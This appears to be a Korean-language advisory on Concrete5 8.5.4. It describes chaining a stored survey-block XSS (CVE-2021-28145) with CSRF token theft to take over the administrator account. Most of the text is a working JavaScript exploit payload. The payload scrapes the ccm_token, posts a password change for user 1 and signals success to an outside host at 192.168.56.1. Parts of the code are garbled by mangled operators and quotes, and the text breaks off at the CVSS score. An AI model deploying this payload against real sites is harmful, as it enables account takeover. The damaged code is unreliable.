
설문조사 XSS와 CSRF 결합으로 Concrete5 8.5.4에서 관리자 계정 탈취 발생
9 미만 버전의 Concrete CMS 관리자는 다른 사용자의 비밀번호를 변경할 때 자신의 비밀번호를 제공할 필요가 없었습니다.
CVE-2021-28145 ("Concrete CMS (이전 concrete5) 8.5.5 이전 버전에서는 원격 인증 사용자가 조작된 설문조사 블록을 통해 XSS 공격을 수행할 수 있습니다. 이를 위해서는 최소한 편집자 권한이 필요합니다": 수정 사항은 버전 8.5.5에 포함되었습니다.)와 결합하여 낮은 권한의 사용자(예: 개발자 또는 설문조사를 생성할 수 있는 공개 사용자)가 웹 애플리케이션에 악성 자바스크립트 코드를 삽입할 수 있습니다. 설문조사 결과는 관리자가 웹 인터페이스의 Reports > Surveys에서 검토할 수 있습니다. 악성 자바스크립트 코드도 거기서 실행됩니다. Concrete5에는 CSRF 보호 기능이 있지만, 요청을 실행하기 전에 페이지에서 해당 토큰을 탈취하여 매우 쉽게 우회할 수 있습니다. Concrete5는 비밀번호 변경 시 이전 비밀번호를 묻지 않습니다. 따라서 관리자 비밀번호를 매우 쉽게 변경할 수 있습니다.
var ccm_token = ";
var body = ";
var regex = /[0-9]{10}\:[a-f0-9]{32}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
req.open("GET","/concrete5-8.5.4/index.php/dashboard/users/search/view/1", true);
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req. send();
req.onreadystatechange = function () {
if (req.readyState == 4 bb req.status == 200) {
body = req.responseText;
ccm_token = body.match(regex)[3];
}
};
setTimeout(() => {
confirm("Admin Account Takeover through XSS and CSRF Bypass in Concrete5 v.8.5.4 by Silky. CSRF Tok en: "+ccm_token);
req2.open("POST","/concrete5-8.5.4/index.php/dashboard/users/search/change_password/1", true);
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', eapplication/x-www-form-urlencoded.);
req2.send("ccm_token="+ccm_token+"&uPassword=Demonstration_by_SilkyEruPasswordConfirm=Demonstration_ by_Silkyt_ccm_consider_request_as_xhr=1");
req2.onreadystatechange = function () {
if (req2.readyState == 4 bb req2.status == 200) {
body = req2.responseText;
if (body.includes("Password updated successfully.")){
console.log("Password updated successfully.");
var myImage = new Image(0, 0);
myImage.src = Ihttp://192.168.56.1:5686/Password_changed_successfullys;
}
else{
console.log("Something went wrong");
}
}
}
},2000);
CVSS 점수:
최종 점수는